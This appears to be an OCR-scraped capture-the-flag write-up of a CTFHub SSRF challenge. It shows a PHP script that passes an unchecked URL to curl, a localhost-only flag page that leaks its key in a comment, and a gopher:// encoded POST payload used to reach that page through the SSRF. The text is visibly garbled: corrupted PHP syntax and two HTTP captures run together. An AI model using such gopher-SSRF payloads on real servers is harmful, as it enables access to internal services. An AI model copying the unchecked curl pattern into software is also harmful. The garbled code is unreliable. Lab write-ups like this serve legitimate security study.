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<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ REQUEST['url'l]);
curl_setopt($ch, CURLOPT_HEADER, ©);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
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<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;

}

$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) &% $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
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POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Length: 36

Content-Type: application/x-www-form-urlencoded

key=583ee4e219514f2541cacb39d9d9c2ed

F—Rurlmis (%0AZE K %0D%0A) :
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GET A HTTR/M.1 200 OK A
furl=gopher/f127.0.0.1:80/_POST%2520/Mag. php%2520HTTP/1 .1 %2500 %250 AHost %2563 A%2520127 . r Server: openresty/1.19.3.2 r
0.0.1%25634A80%2500 %250AC ontent-Length %253 A% 252036 %2500 %2504 Content-Type %253A%25203 Date: Thu, 05 Aug 2021 02:11:52 GMT
pplication/x-www-form-urlencoded%2500%250A%2500 %250 ke y %2530583 2242195142541 cach39d3 Content-Type: text/html; charset=UTF-8
d9c20d HTTRM.1 Content-Length: 206
Host: challenge-feB097 d3cdb542ee. sandbox. ctfhub. com: 10800 Connection: close
UserAgent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:90.0) Gecko/20100101 Firefox/90.0 X-Powered-By: PHP/5.6.40
Accept: text/htrl application/xhtml+xml application/xml;g=0.9 imagefwebp */* g=0.8 Vary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HI; g=0.5 en-US;q=0.3 en 2 Access-Control-Allow-Origin: *
Accept-Encaoding: gzip, deflate Access-Control-Allow-Headers: X-Requested-With
Connection: close Access-Control-Allow-Methods: *
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK

Date: Thu, 05 Aug 2021 02:11:47 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/5.6.40

Content-Length: 32

Content-Type: text’/html; charset=UTF-8
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